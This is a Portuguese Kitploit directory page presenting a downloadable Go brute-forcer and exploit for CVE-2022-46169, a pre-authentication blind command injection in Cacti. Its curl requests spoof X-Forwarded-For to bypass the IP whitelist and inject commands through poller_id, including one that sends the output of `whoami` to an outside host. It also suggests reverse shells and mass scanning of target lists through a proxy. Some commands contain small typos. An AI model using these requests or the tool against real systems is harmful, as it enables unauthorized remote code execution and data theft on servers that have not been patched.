Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-46169 — CVE-2022-46169 - Execução Remota de Código Cega no Cacti (Pré-Autenticação) | Kitploit
Ferramentas/GitHubGitHub/taythebot/cve-2022-46169
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoRed Teaming
GitHubtaythebot/cve-2022-46169

CVE-2022-46169

CVE-2022-46169 - Execução Remota de Código Cega no Cacti (Pré-Autenticação)

Ver Repositório
127há 3 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-46169

Execução Remota de Código Cega no Cacti (Pré-Autenticação)

Aviso Legal

Isso é apenas para fins educacionais. Não sou responsável por suas ações. Use por sua conta e risco.

Explicação

Este script realiza força bruta nas variáveis necessárias para explorar esta vulnerabilidade. Este exploit requer as seguintes 3 variáveis:

  • Endereço IP na lista branca
  • Parâmetro host_id correto
  • Parâmetro local_data_ids correto

O arquivo remote_agent.php é protegido por uma lista branca de IPs. Você pode contornar isso falsificando seu endereço IP no cabeçalho X-Forwarded-IP. A maioria das instâncias terá 127.0.0.1 ou o próprio endereço IP do servidor na lista branca.

Em seguida, você precisa fazer força bruta nos parâmetros de requisição host_id e local_data_ids. Isso é feito enumerando pares de inteiros x,y a partir de um valor mínimo padrão de 1 e máximo de 10.

Exemplo de Requisição

pair_x="1"
pair_y="2"
curl -k -H "X-Forwarded-For: 127.0.0.1" \
    "https://target.com/cacti/remote_agent.php?action=polldata&poller_id=1&host_id=$pari_x&=local_data_ids[]=$pair_y"

[]

Exploração

Depois de obter essas 3 variáveis, você pode injetar um comando shell na chave poller_id e escapar dele colocando um ; antes do seu comando.

Isso é um RCE cego, então você precisa enviar a saída do seu comando para algum lugar como interact.sh ou abrir um reverse shell. Lembre-se de codificar a URL do valor de poller_id!

O seguinte executa o comando ping $(whoami).test.com

curl -k -H "X-Forwarded-For: 127.0.0.01" \
    "https://target.com/cacti/remote_agent.php?action=polldata&host_id=1&local_data_ids[]=3&poller_id=;ping%20%24%28whoami%29.test.com"

Saída

O script gera a saída no formato CSV. Os cabeçalhos são "target", "ip", "host_id", "data_id", "url".

Se o valor de url estiver ausente, significa que o script conseguiu contornar a restrição de IP, mas não conseguiu fazer força bruta nos IDs com sucesso. Você pode pegar essa saída e definir um valor máximo maior para tentar novamente.

Analisando a Saída

Você pode usar os seguintes comandos para analisar rapidamente o arquivo de saída

Alvos com restrição de IP contornada

tail -n +2 results.csv | cut -d ',' -f1 | sort -u

Alvos Exploráveis

tail -n +2 results.csv | cut -d ',' -f5 | sort -u 

Compilação

go build -v -o bruteforce bruteforce.go

Uso

./bruteforce -l targets.txt -t 50 -min 1 -max 10
  • Os alvos devem ser uma lista de endereços IP, a porta pode ser omitida
  • O proxy Socks5 é suportado -proxy socks5://127.0.0.1:9050
  • O arquivo de saída padrão é results.csv
Baixar ferramenta